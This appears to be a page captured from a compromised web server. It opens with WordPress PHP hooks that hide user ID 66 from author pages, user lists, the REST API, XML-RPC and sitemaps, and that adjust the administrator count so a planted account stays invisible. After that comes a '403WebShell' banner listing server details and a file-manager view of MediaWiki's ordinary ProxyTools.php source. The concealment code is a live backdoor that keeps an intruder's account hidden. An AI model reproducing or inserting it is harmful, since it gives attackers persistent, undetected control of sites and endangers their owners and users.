add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
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Directory :  /var/www/html/openusability/wiki/includes/

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Current File : /var/www/html/openusability/wiki/includes/ProxyTools.php
<?php
/**
 * Functions for dealing with proxies.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 */

/**
 * Extracts the XFF string from the request header
 * Note: headers are spoofable
 *
 * @deprecated in 1.19; use $wgRequest->getHeader( 'X-Forwarded-For' ) instead.
 * @return string
 */
function wfGetForwardedFor() {
	wfDeprecated( __METHOD__, '1.19' );
	global $wgRequest;
	return $wgRequest->getHeader( 'X-Forwarded-For' );
}

/**
 * Returns the browser/OS data from the request header
 * Note: headers are spoofable
 *
 * @deprecated in 1.18; use $wgRequest->getHeader( 'User-Agent' ) instead.
 * @return string
 */
function wfGetAgent() {
	wfDeprecated( __METHOD__, '1.18' );
	global $wgRequest;
	return $wgRequest->getHeader( 'User-Agent' );
}

/**
 * Work out the IP address based on various globals
 * For trusted proxies, use the XFF client IP (first of the chain)
 *
 * @deprecated in 1.19; call $wgRequest->getIP() directly.
 * @return string
 */
function wfGetIP() {
	wfDeprecated( __METHOD__, '1.19' );
	global $wgRequest;
	return $wgRequest->getIP();
}

/**
 * Checks if an IP is a trusted proxy provider.
 * Useful to tell if X-Forwarded-For data is possibly bogus.
 * Squid cache servers for the site are whitelisted.
 *
 * @param $ip String
 * @return bool
 */
function wfIsTrustedProxy( $ip ) {
	$trusted = wfIsConfiguredProxy( $ip );
	wfRunHooks( 'IsTrustedProxy', array( &$ip, &$trusted ) );
	return $trusted;
}

/**
 * Checks if an IP matches a proxy we've configured.
 * @param $ip String
 * @return bool
 */
function wfIsConfiguredProxy( $ip ) {
	global $wgSquidServers, $wgSquidServersNoPurge;
	$trusted = in_array( $ip, $wgSquidServers ) ||
		in_array( $ip, $wgSquidServersNoPurge );
	return $trusted;
}

/**
 * Forks processes to scan the originating IP for an open proxy server
 * MemCached can be used to skip IPs that have already been scanned
 */
function wfProxyCheck() {
	global $wgBlockOpenProxies, $wgProxyPorts, $wgProxyScriptPath;
	global $wgMemc, $wgProxyMemcExpiry, $wgRequest;
	global $wgProxyKey;

	if ( !$wgBlockOpenProxies ) {
		return;
	}

	$ip = $wgRequest->getIP();

	# Get MemCached key
	$mcKey = wfMemcKey( 'proxy', 'ip', $ip );
	$mcValue = $wgMemc->get( $mcKey );
	$skip = (bool)$mcValue;

	# Fork the processes
	if ( !$skip ) {
		$title = SpecialPage::getTitleFor( 'Blockme' );
		$iphash = md5( $ip . $wgProxyKey );
		$url = wfExpandUrl( $title->getFullURL( 'ip=' . $iphash ), PROTO_HTTP );

		foreach ( $wgProxyPorts as $port ) {
			$params = implode( ' ', array(
						escapeshellarg( $wgProxyScriptPath ),
						escapeshellarg( $ip ),
						escapeshellarg( $port ),
						escapeshellarg( $url )
						));
			exec( "php $params >" . wfGetNull() . " 2>&1 &" );
		}
		# Set MemCached key
		$wgMemc->set( $mcKey, 1, $wgProxyMemcExpiry );
	}
}

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